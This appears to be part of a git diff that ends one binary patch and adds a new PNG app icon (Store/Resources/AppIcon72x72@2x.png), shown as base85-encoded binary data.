z3@Vi*`@+m5vdMK7I=uWxP#+~UNaR@OEr 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 YDN7j>KQT<3#-df+um1)AkcDIa2Mv7`B>(^b literal 0 HcmV?d00001 diff --git a/Store/Resources/AppIcon72x72@2x.png b/Store/Resources/AppIcon72x72@2x.png new file mode 100644 index 0000000000000000000000000000000000000000..3372505b47e5a7ffdaf6ff43e9b873bc9938f626 GIT binary patch literal 21251 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 